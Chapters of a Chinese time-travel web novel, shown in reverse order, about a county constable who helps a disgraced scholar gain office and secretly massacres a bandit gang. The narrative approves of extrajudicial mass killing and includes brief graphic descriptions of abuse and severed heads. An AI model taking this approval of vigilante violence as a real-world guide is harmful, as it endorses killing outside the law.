凌晨微微吐了一口气,青柠说得对,这家伙只是古人,不是傻子。他干完活才七八天,对方就能精准的找到家里来,确实不是庸碌之辈。 凌晨扭头看向青柠,有些好奇的问道:“你就不问问我前些日子为何骗你?” 青柠歪着头抬起下巴看向他,目光温柔似水:“既然你不想让我知晓,那一定是有缘由。无论你做什么,我都支持你,我们是夫妻。” 凌晨听罢后笑了,伸手将青柠搂进怀里,吻了一口她的额头后,突然问道: “那要是我在外面寻花问柳呢?” 青柠听后愣了一下,不过并没有回答,而是轻轻揪住了凌晨腰上的细肉。 “啊——!!” 第17章 为民除害 所以一定是看中他的才华了。 “怎么样怎么样?” 见凌晨一脸期待的上前询问,王臣鹤朝着四周看了看后,朝着凌晨郑重行礼道:“多亏了凌兄,知府大人颇为满意,勉励了几句,又询问了某的近况,着令三日后去府衙报到,有所差遣。” 听到这话,凌晨比王臣鹤还开心,拍着他的肩膀说道:“就知道你可以!” 王臣鹤望着凌晨开心的模样,心中竟涌现出一丝莫名的感动,不知不觉红了眼眶:“王某与凌兄萍水相逢,却蒙赠酒赐食,谋差点拨,恩同再造,实在是无以为报……” “哎~这话就见外了。” 凌晨握着王臣鹤的胳膊说道:“你本来就是高翔天际的鸣鸥,我只不过是略尽托举之力。但愿你能记住前日街巷之言,恪守本心,为民着想,让天下人人安居乐业,如此便是感谢我了。” 王臣鹤自诩阅历不浅,他见过很多人,从朝廷大员到乡野平民,他都见过。但凌晨这样的人他还是第一次遇到,乐善好施、与人为善。扶危济困、不求回报,一心为民。他甚至感觉有些不太真实,世上竟真有这样的人。 他发自内心的尊敬这个年纪比他小了将近十岁的年轻人,于是再次整冠,郑重行礼: “他日凌兄若有所托,臣鹤赴汤蹈火、在所不辞!” —— 大周的选官制度和旧唐时不太一样,大部分人都是通过科举进入体制内,然后慢慢学习慢慢熬,一步步向上攀爬。但因为当下时局混乱、战事频繁的缘故,也允许各地大员从辖区内特殊提拔有用的人才,不过要报吏部审批。 这也是颍川知府能看上王臣鹤,以及当初文训说要将凌晨升为军将的原因。 又顺手做了一件好事的凌晨哼着歌儿回到望云镇,心情颇好,打算回家跟青柠好好说说自己的丰功伟绩,不想牛车却被人拦住了。 老冤家刘员外和他的儿子刘廷让,带着几个家丁当街站着。 凌晨疑惑的从牛车里走了出来,自从上次被教训过后,老登就学乖了很多,今天这是怎么了?一反常态,吃错药了? “凌小相公,老朽有一事相求。” 妈的……你早说啊!吓老子一跳,还以为你要当街火拼呢…… 刘家正堂上,凌晨坐在下首右侧,刘员外也不敢拖大坐上主位,就顺势坐在他旁边,他儿子刘廷让坐在对面。 凌晨对刘老登没什么好印象,但对他儿子还是有那么一丝丝好感的,别的不说,能主动请求替老爹挨五十柳条的人,起码是个孝子。 “咱们也是熟人了,甭废话,开门见山吧~” 凌晨推开下人端来的茶杯,拿起桌子上的苹果就啃了起来。 刘员外抖着白胡子,神情恭敬的说道:“凌小相公果然快人快语,那老朽也就不啰嗦了。是这样的,老朽在南边有条路,由庄户拉运寿春、汝南一带的稻米、柑橘、绸缎往京城售卖,买卖尚好。可近来却被一堆流寇劫掠惊扰,烦不胜烦……” 他话还没说完,凌晨就吐出一口苹果皮:“那你得去县衙告官啊,我只是个捕头,抓贼还行。流寇是大动作,得请知县大人联系乡军。” 刘家父子对视一眼,皆是露出苦涩之相:“这帮人流窜在各地,甚至都不在颍川府的辖区。南边两府……老朽人微言轻,实在说不上话。凌小相公是在江淮军营里待过的,前番还有节度使大人的管家老爷亲自送礼登门。老朽想着……能不能烦请小相公费费口舌,请军中出马,想来一定能荡平贼寇、还百姓一片安宁。” 凌晨“咔嚓咔嚓”的嚼着嘴里的苹果,思忖起对方的话来。 这个世上最难还的不是钱,而是人情。不到万不得已,他绝对不会找上文家。 不过刘家父子既然找到自己了,若是自己不答应,难免让他们生出小觑之心,要是对自己再使小九九,虽然不怕,可也烦的要死不是? 流寇么…… “他们有多少人,大概摸清楚没?” 见凌晨询问,坐在对面的刘廷让连忙拱手说道:“庄户们遇到时不下五十人,不过敢这样肆无忌惮的作乱,想来应该还要更多,我们多方打听,才知贼人在百员之上。” 凌晨将手中吃剩的果核往桌子上一扔,拍着手起身说道:“等我消息。” 摆手示意刘家父子不要再送后,凌晨并没有直接回家,而是先去找的解二,让他去给召陵县的陈啸带话。 三日后,陈啸带着四五个弟兄来到了凌晨家中。 “陈大哥,你们来啦~” 青柠打开门,微笑着向陈啸几人问好,陈啸也客气的抱拳一礼:“弟妹,凌兄弟可在家中?” “在偏房呢,他这几日一直念叨着你们来,快请进。” “劳烦弟妹了。” 和青柠打过招呼后,陈啸带着人轻车熟路的来到正堂里,走进左手的偏房,看到凌晨正在书桌前写写画画。 “兄弟,唤我等何事?” 凌晨见陈啸他们来了,指着塌说道:“坐。” 几人抱拳行礼后,纷纷落座,陈啸大马金刀的坐下后,胳膊肘着膝盖,身体前倾着问道:“可是又有人不开眼惹了兄弟?你尽管说他是谁,除了冯延那老小子,临颍县就没有咱们不敢动的人。” “没,谁他娘的砒霜吃多了敢惹我?是我要找别人的麻烦。” 听了这话,陈啸和手下弟兄们都露出了残忍的笑容。可当他们听到凌晨接下来的话,不禁又都皱起了眉头。 “我前些日子听说南边有一股流寇,人数约莫在百来人,我看他们不爽,想收拾了他们,所以问问你们知道这帮人吗?” 陈啸脸色凝重的对凌晨说道:“兄弟,这帮人……不好对付啊!” 正在这时,青柠端着茶壶和茶杯进来了,给几人挨个倒茶。他们都默契的没有继续这个话题,而是纷纷客气的道谢。 直到青柠退出去后,陈啸这才看了一眼门口,对凌晨继续介绍道:“这群人成份很复杂,是由一群逃兵、逃犯和寿春府的地方恶霸组成,最重要的是,我听说他们背后是寿春府郡尉的公子,借他们的黑手来揽财。” 凌晨听的一头雾水:“郡尉的公子?那应该不缺钱花啊!怎么还能干出这种事来?” 陈啸叹着气说道:“我也是道听途说,听说那位公子在京城与人争一教坊美人,花光了钱,家里又管的严才出此下策,也不知真假。但确实有可能是他在背后支持的,否则寿春官府不可能一点动静都没有。” 这也太炸裂了…… 凌晨听的一脸无语,一个小小的郡尉之子,竟然因为这种荒唐的理由就为祸乡里,截杀平民抢夺货物,大周这么颠的吗? 看来真的是暗无天日了。 那就让我凌某人除魔卫道,以雷霆击碎黑暗吧! “知道他们平时都窝在哪吗?” 陈啸见凌晨执意要动这帮人,嘴唇闭了闭,把心一横回答道:“据说是在寿春府霍县的湖心岛上,如果兄弟决意要动他们,且先等上几日。我去叫上咱们颍川道上的好汉们,也能凑上百来人,到时……” “谁说让你们去了?” “啊?” 陈啸愣了一下,疑惑的看向凌晨,后者淡然一笑:“我请你们来就是问问情况,这是我的私事,你们不必犯险。” 陈啸有些焦急的劝解道:“兄弟的武艺我们是知道的,可对方有上百人,可能还不止……” 凌晨伸手打断了陈啸,露出一抹嚣张的笑容:“不要跟我说有多少人,只需要告诉我他们在哪里就行了。” “兄弟,纵使你武艺高强,可你有家有室的,若是有个闪失,叫弟妹怎么办呢?你若执意要对付他们,便教我们跟着去吧!” 凌晨早就用真理折服了陈啸,而且还为人仗义,有发财的机会也没忘了他们这帮泥腿子,陈啸是真为他着想。尽管内心不想跟那些人为敌,但既然凌晨一定要干他们,那陈啸也不会装孙子。 “不,老陈啊,这么些日子了,你还是不了解我。”凌晨走到陈啸跟前,温和的拍着他的肩膀说道: “我从不做没有把握的事。” —— 凌晨一直是风风火火的雷厉性格,既然决定要干他们,就不会拖拖拉拉,第二天一早就骑着马出发了。 他跟青柠说的是县衙有事,要有十几天不回家。跟县衙说的是家中有事,要休沐十几天。 五天后,他就顺着路人的指引,撑着一艘小舟在夜色的掩护下登上了陈啸口中的湖心岛。 夜晚的湖心岛灯火通明,这里原本是个小渔村,现在却听不见鸡鸣犬吠,只有赌钱的叫喊声和女人的惨叫声。这帮家伙只留了几个人在村子外面站岗,还都抱着酒瓶子摇摇晃晃。 观察了一小会,凌晨算是看清楚了,这群人还真是彻头彻尾的人渣啊!他们把良家妇女掳掠过来当宠物玩,赤裸着身子吊起来凌辱。湖岸边到处都是堆积的男人、老人尸体。在东头的一间院子里,木栅栏里关的全是哇哇啼哭的小孩,四五岁到十一二岁不等,真真是一副人间炼狱。 缅北的诈骗园跟他们相比,简直是幼儿园。 其实出现这种情况也是有迹可循的,寿春府是大周和唐国交界之地,战乱频发。本就容易滋生犯罪的种子,越是不稳定的地区,平民百姓的生活就越是糟糕。别说什么尊严了,连活着都是一种奢望…… 一看到自己当初辛苦从军拼命守护的地方成了这副德行,凌晨就不免对大周的官府生出一股失望的情绪来。他当初还跟着文训见过寿春知府呢,那老头看着人模狗样的,就是这么做事的? 既然如此,那就给那些鸡鸣狗盗之辈一点震慑,给那些素餐尸位之辈一点提醒吧~ 黑暗的夜幕中,凌晨抽出了文若送给自己的那把刀,那种久违的感觉又回来了。 —— 虽然凌晨并没有打算让自己跟着,可陈啸还是不太放心,于是背着凌晨叫上相熟的绿林好汉们,伪装成客商匆匆赶到了霍县,由于他还要花时间召集人手,所以比凌晨足足晚了两天。 可霍县的官差衙役全都出动了,不允许任何人靠近那片湖心岛,陈啸惊疑不定之下,便朝着当地人打听出了什么事。 不问还好,一问,他登时就亚麻呆住了。 岛上一百三十多名记录在案的逃犯、逃兵和凶名赫赫的恶霸全都被人枭首挂在树上,他们的脑袋被人垒成了一座小型京观,立在渔村村口,那扬面血腥的,连上岛的仵作都吐的死去活来。 霍县知县一觉醒来,天塌了! 治下出了这么大的事,他差点没急疯!从岛上救出来的那帮妇女和孩子都有些精神不正常,无论他怎么用爱感化还是用刑拷打,他们都一口咬定那帮人是被厉鬼索了性命。还有个农妇言辞凿凿的说看到一把刀在空中割人脑袋,并没有人操控,说的他差点就信了! 这件事影响极大,在大周引起了坊间热议,根本包不住火,没几天京城刑部就来人了。 霍县知县被捕入狱,寿春郡尉被贬官,其子被抓,交付京城审问。整个寿春府的官员都受到了牵连,许多人都被下狱问罪,没有被抓的也高兴不起来,因为这辈子的仕途已经到头了。 可无论他们怎么审问盘查,就是找不出凶手来,张榜重赏线索后,得到的都是一些来骗钱的没用信息,根本没有一点有价值的线索。 而知道一些蛛丝马迹的人,如刘家父子、陈啸以及那日在凌晨家商议的几个土匪,都是三缄其口,只字不敢往外透露。 且不说他们要么就是同犯,要么就是和凌晨一条心,光是他的手段也遭不住啊! 一百三十多人,说没就没了。 这谁敢出卖他啊! 第16章 鼎力相助 哎呀~想想还真是有些期待呢! “后日上元节,知府大人要来本县视察通曲桥及里阳镇的新建街道,到时候你们可得给本官看好了!闹事斗殴者、酗酒滋事者、骂仗吵嘴者,统统抓起来先关几天!” 县衙大堂里,几十号人整整齐齐的立在原地听冯延训话,凌晨和四个捕头站在侯明身后昏昏欲睡,王臣鹤和一群衙役、皂吏站在更后方听命。 估计知府大人也是觉得好奇,三百两银子也能修成一座合格的桥?我倒要瞧瞧长什么样子。 训话完毕后,凌晨就带着七八个皂吏去训街了,今天他负责县城东郭。 “凌捕头来啦?” “凌捕头好!” “凌捕头,这是今早新蒸的羔肉,来尝尝~” 凌晨左手端着个酒碗,右手握着还在冒热气的肉块,吃的满嘴是油,身旁还有个皂吏专门抱着一坛子酒给他倒,一点也不像是巡街的捕头,倒像是游街的恶霸。 王臣鹤跟在身后,别提多难受了。 君子虽处一时逆境,也当屈身守分,以待天时。行事做人,要坦坦荡荡,两袖清风。凌晨虽然对他有大恩,可……可他实在瞧不上对方这种欺市霸街的行为。 “凌捕头,这么多人给你送吃送喝,你能记住他们都是谁吗?” 凌晨将手中的酒碗丢给随行的皂吏后,望着王臣鹤回答道:“记不住。不过谁不给我送,我就记住了。” “……” “恕属下直言,知县大人将重任交于捕头,捕头应该认真稽查、调解纠纷、察奸捕盗,实在不应该借着身份收贿索物,吃拿卡要……” 王臣鹤正在侃侃而谈,其他皂吏纷纷用奇怪的眼神望向了他,这特么哪来的奇葩? 要不是因为他是凌捕头亲自带进来的,他们早就开骂了!你特么爱拿拿,不拿滚!巡个街而已,你把自己当知县大人了?怎么还整出一套官扬上的大道理来? 凌晨望着正气凛然的王臣鹤,正琢磨该怎么回答他呢,前门后街的徐寡妇就从街边窜出来了,一上来就抓住凌晨的袖子哭喊起来:“哎呀~凌捕头啊!你可得替我做主啊!我家阿青又跑到房顶去了!” 凌晨先是一愣,紧接着看向王臣鹤:“呐,别说我不给你机会啊,你去帮徐大姐找回她家阿青。” 王臣鹤本就不愿与这帮人为伍,于是慨然决定众人皆醉我独醒,独自一人去干正事:“大姐,我帮你去寻你家阿青,孩子现在还在房顶上吗?” “当然还在呀!哎呀差爷你别问了,快跟我去哄下来,上面多危险呐!” 王臣鹤闻言一愣,你家孩子这么淘气吗? 虽然心里腹诽,但看着徐寡妇焦急万分的样子,王臣鹤还是跟着她一同进入了巷子里。 在满是坑洼的巷子里左拐右转,来到了徐寡妇家里后,王臣鹤顺着她的手指看去,屋子顶上躺着一团雪白的绒球,还正慵懒的晒着太阳,偶尔还打个哈欠。 那是……猫? 一见是只猫,王臣鹤的脸瞬间就拉了下来,这不是拿他寻开心么?我虽微末,却也身系事务,你为了一只猫喊我过来,多少有点大材小用、无事生非了吧? “徐大姐,给你。抱好了,下次实在不行就给它栓个绳子吧~” 正在王臣鹤准备拂袖离去之际,凌晨已经不知道从什么时候将猫捉住,抱在怀里来到了他们面前。 示意眼中泛起泪花的徐寡妇进屋后,凌晨搂着王臣鹤的肩膀走出院子,往巷子外边走边问道:“刚才我看你脸色不好,是不愿意替她捉猫?” “凌兄,你若是瞧不上我,大可直说,何故欺我不知戏耍于我?” 听到这话,凌晨停住了脚步,他松开了王臣鹤的肩膀,指着徐寡妇家的门脸色肃然的对他说道:“你知不知道,徐寡妇的丈夫、儿子皆是为国家征战,马革裹尸而死?” “我……我不知道。” “那只叫阿青的猫是她儿子放假时带回来给她的战利品,不然你以为寻常人家怎么会有雪绒猫?那不是你眼中的畜生,那是她儿子留给她的思念,在她眼里,不比你的妻儿轻贱。” “……” 凌晨盯着王臣鹤的眼睛,一字一句的说道:“没有察觉出事情的不合理,说明你粗心马虎。没有细问缘由就表现出厌烦,说明不仅眼高于顶、还心浮气躁。连只猫都捉不住,如何敢在《平戎策》里洋洋洒洒,妄说擒龙?” 王臣鹤不禁开口辩解道:“我才刚来,不熟悉……” “那你看不见她焦急的脸色么?你没长嘴啊?不会开口问?” “我……” “读圣贤书,理当为民请命,可民都请到你面前了,你看看你刚才那张死人脸!这要是让你当了知县、知府,是不是百姓家丢头牛都是小事了?” 王臣鹤无言以对,如果真到了那时候,事务繁忙冗杂,丢头牛可能还真得往后放一放…… 说教完之后,凌晨拍着他的肩膀,叹着气说道:“你还是没能理解我说的先扫一室,再扫天下。一条街都管不明白,给你一县、一府,那你不炸了吗?” 王臣鹤望着徐寡妇家的大门若有所思,片刻之后,向着凌晨郑重行礼道:“臣鹤知道错了,还请凌兄赐教。” “你只要牢牢记住一点,百姓的事没有小事,一家舒心,一街安宁。你呀,还差得远呢~” 王臣鹤望着凌晨的背影,仔细回味着自己的行径和对方的话语,陷入了沉思。 从此以后,王臣鹤就不再从内心抵触凌晨他们的行为了,而是跟着观察学习,甚至当一个小贩将炊饼塞进他怀里时,他也没有拒绝,反而是咬了一口,顺道和他攀谈起来。 说来也怪,以前这小贩见到他只是躲闪,生疏的很。可自从自己吃了他的炊饼后,竟也能侃侃而谈,他家有什么人、都在做什么、最近有什么见闻、未来有什么忧虑、有什么期许,都源源不断的进入了王臣鹤的耳朵。 两天街巡下来,王臣鹤获益颇深,尤其是和那些市井小民打成一片后,那种街坊们一见面就跟他打招呼的熟络笑意,是他在上林院和卢龙军营里从来没有体会过的感觉。 正月十五,上元佳节。 王臣鹤跟着凌晨,来到了已经从村升级为镇的里阳,站在桥边等待着迎接颍川知府。 令王臣鹤惊讶的是,这里的每一个人似乎都认识凌晨,上到县衙丞尉,下到贩夫走卒,他都能和人家聊上两句。凌晨又不是知县,再说了,就算是知县,也不能和这么多人相熟交善吧?? 王臣鹤看凌晨,顿觉有种井中观月的迷茫。 凌晨他们这种低级小吏是没有资格看到知府大人的,桥头早就被刘文越和府衙来的乡军管制了,只能模糊的看到一个胖子在冯延的陪同下登上桥头观赏四周景色,象征性的指导了一下工作后,就接进水云榭里干饭去了。 但是没一会,张承就带着两个同僚出来了,他们在桥头的牌坊下张贴了一张榜文。 知府大人对全府重点项目的建设十分满意,对临颍县因地制宜、大胆改革、利用交通优势着重发展产业项目、带动全县经济增长的决定做出了肯定的褒奖,并且向全县人民征求有关通曲桥和里阳镇新区建设的文艺作品,前三名可以获得和知府大人共进午餐的资格。 当然,主要是去聆听大人的教诲,你别真吃。 王臣鹤看完榜文后,心中暗暗叹了一口气,此刻他多么希望自己只是一介平民啊~这样就能获得颍川知府的赏识。可惜自己是罪犯亲眷,怕是……唉! 就在他收起心思,认认真真的戒备着周围的动静时,凌晨不知道从哪里抓来了一方已经磨好墨的砚台,另一只手提着纸和笔跑到他面前,在街边的石阶上铺开后就扯着他写。 “你不大族出身么?写首诗应该不难吧?要是能在知府大人面前混个脸熟,万一能翻身呢?到时候富贵了,可别忘了兄弟我。” 王臣鹤面色为难的说道:“凌兄是真为我着想,可我是罪犯亲眷,万一被知府大人知晓了……” 凌晨恨铁不成钢的骂道:“我把你个没出息的……哎呦~你管他呢!这事就像泡妞,有机会你就上啊!没有机会创造机会也要上,怕什么呢?就算最后惹的他不高兴,打板子也是叫冯大人打,底下都是咱们临颍的弟兄,还能真打你啊?干就完了!” 王臣鹤握着手中的笔,心中略微有些紧张,深吸了一口气平复好心情后,他沉思片刻,开始挥毫。 “一轮长空河水东,当时浅笑枫叶红,舞映亭心旧台阙,歌随烟波幕雨风。 自别后,恐相逢,无奈梦回与卿同,天涯明月共相照,只叹相逢是梦中。” 一首写罢,王臣鹤长出了一口气,刚要开口,就听到一旁的凌晨露出不满的声音: “写的什么勾巴玩意?这大好的日子,你搁这哭丧呢?知府看到后怕是得跳起来给你一个大嘴巴子!重写!” 王臣鹤瞪大眼睛望着一脸不满的凌晨,自己感慨世事变迁、婉转表达进取之意的一首好词,他怎么能弃如敝履…… “发什么呆啊!写点积极向上的成不?” 感觉有一团石头堵在胸口的王臣鹤低头看向纸上的字,好像是有点不太合时宜。唉!罢了,那就再做一首直白的! “百年心事总悠悠,凌云隐忍苦未酬。 驽马胸中负兵甲,寒士眼里轻王侯。 自古能业无磐石,叹息神州不似鸥。 天涯何处臧爱亲,正空位置不肯修。 即墨港风飘雨冷,临颍城外断桥就。 散士自古皆缄默,一曲知音天下求。” 写完后,王臣鹤提着笔看向凌晨,这总可以了吧? “前面两句还行,后面太飘了!饭都吃不起的你还鄙视上王侯将相了?你有什么德行能让知府大人像刘裕那样把正宫之位给臧爱亲留着?还盼望他能了解你的心思,他有那闲工夫?不行不行!” 王臣鹤顿时露出一副苦瓜脸来,委婉了不行,直接了也不行,这怎么写嘛! “哎呀!”凌晨恨铁不成钢的看着王臣鹤:“你就写写咱们里阳镇的风景,不要太刻意。然后再不着痕迹的拍拍马屁,不就行了?” 王臣鹤挠了挠头,磨了半天牙,还是憋不出来。 凌晨望着已经有很多人把纸递进去的门口,不禁狠了狠心:“妈的废物!我说你写,就说是你作的,快点!” 王臣鹤被他劈头盖脸的否定搞的有些手足无措,但同时也有那么一点不服气,你一个县城小吏,还能比我…… 我草…… 望着如遭雷击的王臣鹤晃晃悠悠的把纸递上去,没过多久就被知府大人喊进自家酒楼去面试后,凌晨终于露出了满意的笑容。 老子费了这么大的力气,你小子可得争点气啊! “杏帘招客饮,在望有山庄。 菱荇鹅儿水,桑榆燕子梁。 一畦春韭绿,十里稻花香。 盛世无饥馁,何须耕织忙?” 酒馆的旗子似乎是在招呼着路过的行人进门小酌,映入眼帘是一片风景秀丽的山庄。水中的荷花浮萍中间,白鹅划动着脚蹼,留下一片水痕,燕子穿梭在栽满桑树榆树的林间。春日里岸边水田全是绿色的蔬菜,秋收时到处都飘荡着黄色稻穗的香味。在知府大人您的英明领导和治理之下,百姓们家家有钱,户户有粮,这才能有时间和精力在繁华的大街上游逛,哪里还需要埋头耕地、辛苦织布,整日里为了生活奔波呢? 我看曹公也是想上进了,把这首诗塞进《红楼梦》里夹带私货。不过不重要,别的先不提,他的遭遇不就跟王臣鹤一模一样嘛!而且扬景、情形都对的上,至于时节么…… 老子说的是一年四季,不单只是冬日,就不信知府大人被拍了马屁还要咬文嚼字的刁难。 再说了,就算他刁难,那也是刁难王臣鹤,关我鸟事? 第15章 平戎策 如今腊月已过,年关将至。 瑞雪过后定是丰年,腊月二十八,凌晨和青柠开开心心的在大门上贴上门神,又把旧桃换成新联。房间里炊烟熏暖,桌子上用花果供着八仙。 大门开着,路过的邻居友人互相串门问候,向主人家讨杯屠苏酒喝,凌晨负责扇火温酒,青柠笑着端给客人,再给扮作瑞兔登门的孩子们发些蜜饯枣糕,一片欢声笑语、其乐融融。 到了傍晚吃过晚饭后,门外锣鼓喧天,灯火通明,欢笑声抖落了枝头梅雪。 凌晨带着青柠一起出门,街上到处都是提着花灯的小孩和裹着棉衣的夫妇,齐齐前往镇子中心的戏台前。刘员外和他儿子已经放出来了,老登这次学乖了,把凌晨和青柠请到上面的座位上坐下,向着全镇人民发表了新年贺词。 从府城请来的戏班子粉墨登扬,青衣飘袖、老生怒喝,唱念做打着向普罗大众演绎起这片土地上代代相传、经久不衰的动人故事。 叫好声、谈笑声混杂着无数铜钱肉果,丢到了戏台上,热闹非凡。 凌晨坐在座位上,将剥好的橘子递给青柠,又端起酒杯回应刘员外的敬酒,一饮而尽。罢了,抬起头望着漫天飞雪,一时间有些恍惚,更不知今夕是何年。 夜半行路人微醉,轻启柴门踏雪归。 昨日铮鼓又入梦,一曲烟波漫城北。 第二天一大早,凌晨就从床上翻起来了。今天要去县城里给冯延拜年,还有张承家、侯明家都不能落下,其他年长的老财主家也得去坐坐,忙着呢~ 青柠站在凌晨身前,细心的替他扣好腰带,又把罗裘整理好,从架子上取来披风为他披好,系好绑带。 “雪天路滑,泥泞的很,走慢些。要是来不及,就在县城客栈住上一晚,明日再去走动。” 凌晨将青柠抱进怀里,在她脸上吧唧一口后温柔的说道:“嗯,我知道了。” “去吧。” 老牛缓缓抬蹄,车夫挥起鞭子,走上了官道,车驾渐渐隐没在风雪中。 快中午的时候,凌晨赶到县衙,找冯延吹了会牛逼,简单吃了顿午饭后就出来了。准备继续去张承家蹭饭,可走到正阳街时,他喊着让车夫停住了。 因为他在车窗里看到街上有一个人。 这当然是废话,街上没有人,难道还窜出辆变形金刚来?问题是……这个人有点奇怪。 寒冬腊月,街上行人虽多,但大部分都是把自己包成粽子、形色匆匆的走亲访友,而这人居然穿着一件单薄春衫,立在寒风中出售字画。 看着约莫二十多岁,身形修长、衣服像是洗了很多遍,都有些发白到认不出原来的颜色,上面还打满了补丁。脸型消瘦,眉毛和头发上都是落雪,浑身抖的跟孙子似的,看起来冻的不轻。 出于好奇,凌晨走下牛车,缓缓来到了他跟前,低头看向铺在地面上字画。 字是好字,隽秀整齐;画是好画,竹劲松直。 “兄台,买一幅吧,挂家里也是件装饰。” 对方一开口,凌晨就听出来他不会做生意。不过他也没有指导别人该如何正确销售的习惯,而是掏出块碎银子问道:“这些够不够全卖给我?” 男子也没有多看凌晨手中有多少银子,只是有些诧异的望了望他的眼睛,随即点头道:“够了够了。” 说罢他便低下头,将地上被雪沾湿的字画都卷起来,准备打包给凌晨。 就在这时,从他的衣袖里掉下来几张之前没有摆出来卖的纸,对方快要冻僵了,连身上的东西掉在地上都没能察觉出来。 反正闲着也是闲着,凌晨便走上前去,弯腰将那些纸捡了起来,拍了拍上面的雪泥后,定睛看去—— “江南富庶、人心归附。自魏晋始已不弱中原,一时难图。其国主年老,只待青黄交接之际,必生内斗,最宜相攻。国中海盐足备,多有柴桑。然军物单一,少战马,弓弩、铁器亦乏于中原……” 这不对吧…… 凌晨连忙捡起其他两张再次看去,竟然还有针对孟氏蜀国和草原诸部的分析,而且对他们内部的经济、军事、文化、政治十分了解,对他们的弱点和优势说解的头头是道。 “兄台?兄台?” “啊?” 直到男人出声提醒,凌晨才从专注中回过神来,他拿着手中的纸望向男人,男人有些腼腆的对他说道:“那些不卖。” 凌晨抖着手中的纸向男人问道:“这些是?” “哦……嗐!那些不过是在下闲时的一些臆想,叫兄台笑话了。” 凌晨再次望向手中的纸,这可不是臆想,而是非常全面、具体的国情分析。最奇怪的是,出自一个快要冻死街头的穷书生之手。 “有兴趣一起喝杯暖酒么?” —— “在下王臣鹤,关东人,今年已二十有七。” “在下凌晨,本地人,刚满十八岁。” 燕来楼的二楼雅间里,凌晨和路边捡来的王臣鹤对坐席间,互通姓名后,王臣鹤盯着桌子上的酒菜目不转睛。等到凌晨伸手示意他吃后,更是筷子一扔,迫不及待的用双手抓起猪肘子就啃,那叫一个狼吞虎咽啊…… “王兄是关东人……怎么会吟游至此,街头售卖墨宝?我看王兄的字画都挺有风范,应该是出自书香门第吧?” “唉!” 王臣鹤费劲的咽下一大块肉后,貌似是被噎住了,赶忙端起一旁冒着热气的酒杯一饮而尽,用满是油腥的手在胸口捶了捶,这才看起来好了点。 “既蒙凌兄赠酒送食,在下也不敢隐瞒。我本是济州大族出身,前番更是高中科榜,在上林院任从侍。后来又被下放到卢龙节度使麾下做了文书。奈何家中族叔在朝中犯了事,一门牵连,我也被贬为了庶人。旧时家宅田产都充了公,无奈只得倒卖些字画为生。唉……” 原来是这么回事啊~ 凌晨晃动着手中的酒杯,思忖着问道:“方才王兄遗落在地上的那些是……” 王臣鹤抹了一把嘴,神色忽然有些落寞:“那些原本是在下数年来于朝廷和地方上所见所闻汇录之集,原本还想着有朝一日能够上达天听,一展胸中抱负。奈何,命数似大海般起伏不定,如今只是废纸几张,拿来烧火都不及炭热……” 凌晨摇着头宽慰道:“王兄的话我不敢苟同。想当初,百里奚遇见穆公前,只值五张羊皮;武侯得逢先主时,不过在乡野耕读;南朝武帝旧年混迹赌坊,谁能料到日后会克复两京、却月拒胡马?汉祖四十八岁看狗打架,五十四岁君临天下。这桩桩件件,岂能因一时的境遇论成败英雄?” 王臣鹤听完凌晨的话后愣住了,他不是听进去了凌晨的话,而是惊讶于他的博学广识。 在大周这个认识一百个字就算读书人的地方,能将古人旧事一一罗列的人,绝对不是简单人物。这需要浩瀚的书海喂养、需要安定的环境才能造就。 “凌兄说的在理,可……” “你要真是块璞玉,又何惧岁月打磨?而且我觉得你现在有比舒展抱负更迫在眉睫的事,比如……先想办法安身立命,最起码得填饱肚子吧~” 王臣鹤想要说什么,却发现没什么能反驳的,因为凌晨说的对。 “在下如今穷困潦倒,身无分文。连累着妻儿忍饥挨冻,今日要不是遇到凌兄,怕是又要空手而归,如今确实不是考虑长远的时候……” 好家伙!竟然还有妻儿,哥们你也是个人物~ “这样吧,我虽位卑言轻,但还在县衙里头虚扯着一张捕头的虎皮,你来我手底下做个皂吏如何?每月能有个两百文钱,你先活下去,再论其他。” 面对凌晨抛出的橄榄枝,王臣鹤并没有立刻答应,反而是露出一副不太情愿的表情来。 对此凌晨也能理解,人家少年得志,在中央干的好好的,突然被连累撸了官,心里怕是不怎么服气。就算再落魄,也不能跑到他手底下干辅警吧? 于是凌晨继续耐心的PUA道:“我觉得你在基层沉淀一段时间也未必不会有所获益,正所谓:宰相必起于州郡,猛将必发于卒伍。你只要从小处做起,从现在做起,抛却旧念,踏踏实实的干,迟早能完成毕生所愿。后人谈起你王兄,宦海沉浮,不堕其志,先扫一室,再扫天下!多有面呐~” 王臣鹤愣愣的望着凌晨,口中喃喃的回味着他刚才说的话—— 宰相必起于州郡,猛将必发于卒伍…… 宦海沉浮不堕其志,先扫一室再扫天下…… 燃起来了卧槽!要是后人真这么评价自己,那得多带劲啊! “我愿意!” —— 为了骗王臣鹤签卖身契,黑中介凌晨花了一下午的时间,既费口舌又费钱还费时间的完成了他的入职申请,所以耽误了原本的行程。只好在客栈里住了一晚,直到第二天结束人情往来后,才回到家中。 安静下来之后,他回到自家偏房,坐在火炉边掏出从王臣鹤那里抢来的那些散乱纸张,认认真真的拜读了起来。 “欲定天下,当先取荆楚,所以蜀、唐往来断阻也。东川沿道而下、西陵溯江而上,则天府之地尽归大周。届时岭南必望风而降,江南势孤,一股而定。然陇右、朔方为羌人所据,已成气候,不可不防;漠北草原,胡人窥饲,马肥骠壮,乃自古中原之大患。” 可以肯定,这个王臣鹤不是夸夸其谈之辈,是有点真东西的。他提出的观点和当年北宋统一天下的步骤基本吻合。自己花钱花时间施以恩惠,应该不会竹篮打水一扬空了。 凌晨没有一统天下的理想,但他很愿意助力每一位追梦人,帮助他们完成四海归一的伟大事业,这样他就能安安稳稳的过自己的幸福生活了。 而这个路边随手捡来的落魄子弟,明显具备这样的潜力。 什么天使轮之类的都弱爆了好吧!钻空子费脑筋赚上一身铜臭算什么投资?看好了,这他妈才叫投资! 正在他沉浸在yy中不可自拔时,青柠端着一碗温热的杏仁粥进来了,当她看到凌晨对着一堆纸傻笑时,不禁有些惊讶。 “相公还识字?” 凌晨用勺子嘬了一口粥后也愣住了:“你不认识字?” 青柠无语的撇嘴一笑:“说的什么傻话,我哪里能识的字?男子读书、女子织红,不是天经地义?大家闺秀都未必能认全这世上的字,更何况是咱们这种穷苦人家。” 凌晨听罢后拉着青柠的手,让她坐在自己身前,怀抱着她指向桌子上的纸:“来,跟我读,平。” 青柠既别扭又好奇的跟着读道:“平。” “戎。” “戎。” “策。” “策。” “连起来读一遍。” “平戎策。” 读完后,青柠扭过脸望着凌晨好奇的问道:“相公,这三个字是什么意思啊?” “平呢,就是平定,解决的意思。戎是异族的意思,不过这里也可以理解为战争或者其他小国。策就是一种书写形式,不过这里的意思是办法。这三个字连起来的意思就是:平定乱世的方法。” 